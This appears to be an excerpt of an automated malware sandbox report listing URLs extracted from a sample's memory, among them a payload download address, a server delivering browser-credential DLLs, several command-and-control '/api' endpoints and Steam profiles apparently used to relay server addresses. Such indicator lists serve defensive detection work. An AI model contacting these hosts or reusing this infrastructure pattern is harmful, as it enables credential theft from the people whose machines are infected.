Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, KJEHJKJEBG.exe.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe, a43486128347[1].exe.1.dr, KJEHJKJEBG.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, KJEHJKJEBG.exe.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, KJEHJKJEBG.exe.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.AKJDHJKFIEBG
Source: MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.KFIEBG
Source: MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org.com/data;
Source: MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/8yG&:
Source: MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/ly3&a
Source: MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgHDA
Source: file.exe, 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgc6c89df3cnt-Disposition:
Source: MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoJKFIEBG
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, KJEHJKJEBG.exe.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, a43486128347[1].exe.1.dr, KJEHJKJEBG.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, KJEHJKJEBG.exe.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: KJEHJKJEBG.exe.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, a43486128347[1].exe.1.dr, KJEHJKJEBG.exe.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.0000000000FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jask.powerforxes.shop/ldms/a43486128347.exe
Source: MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://jask.powerforxes.shop/ldms/a43486128347.exe1kkkkoken
Source: MSBuild.exe, 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://jask.powerforxes.shop/ldms/a43486128347.exerm-data;
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, KJEHJKJEBG.exe.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, KJEHJKJEBG.exe.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, KJEHJKJEBG.exe.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, KJEHJKJEBG.exe.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, file.exe, 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2755563230.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com/
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//freebl3.dll
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//mozglue.dll
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//msvcp140.dll
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//nss3.dll
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//softokn3.dll
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//softokn3.dll2
Source: MSBuild.exe, 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//sql.dll
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//sql.dllW
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com//vcruntime140.dll
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com/T
Source: file.exe, 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com/gfdsgrewgdsfadsahttps://steamcommunity.com/profiles/76561199780418869u55
Source: MSBuild.exe, 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com/ontent-Disposition:
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2444097166.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2444097166.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2444097166.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, a43486128347[1].exe.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, KJEHJKJEBG.exe.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763699895.000000001D88D000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: ECFHCG.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/api
Source: MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.000000000103A000.00000004.00000020.00020000.00000000.sdmp, ECBGIE.1.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.000000000103A000.00000004.00000020.00020000.00000000.sdmp, ECBGIE.1.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: ECFHCG.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ECFHCG.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ECFHCG.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/api
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2444097166.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=AeTz
Source: MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.000000000103A000.00000004.00000020.00020000.00000000.sdmp, ECBGIE.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: MSBuild.exe, 00000001.00000002.2755563230.00000000010E9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.000000000103A000.00000004.00000020.00020000.00000000.sdmp, ECBGIE.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: ECFHCG.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ECFHCG.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ECFHCG.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ECBGIE.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/api
Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: MSBuild.exe, 00000006.00000002.2444036075.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: MSBuild.exe, 00000006.00000002.2444036075.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/)
Source: MSBuild.exe, 00000006.00000002.2444036075.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/2
Source: MSBuild.exe, 00000006.00000002.2444036075.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: MSBuild.exe, 00000006.00000002.2444036075.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api(
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/api
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/api
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/d
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2444097166.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, file.exe, 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: MSBuild.exe, 00000006.00000002.2443823992.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
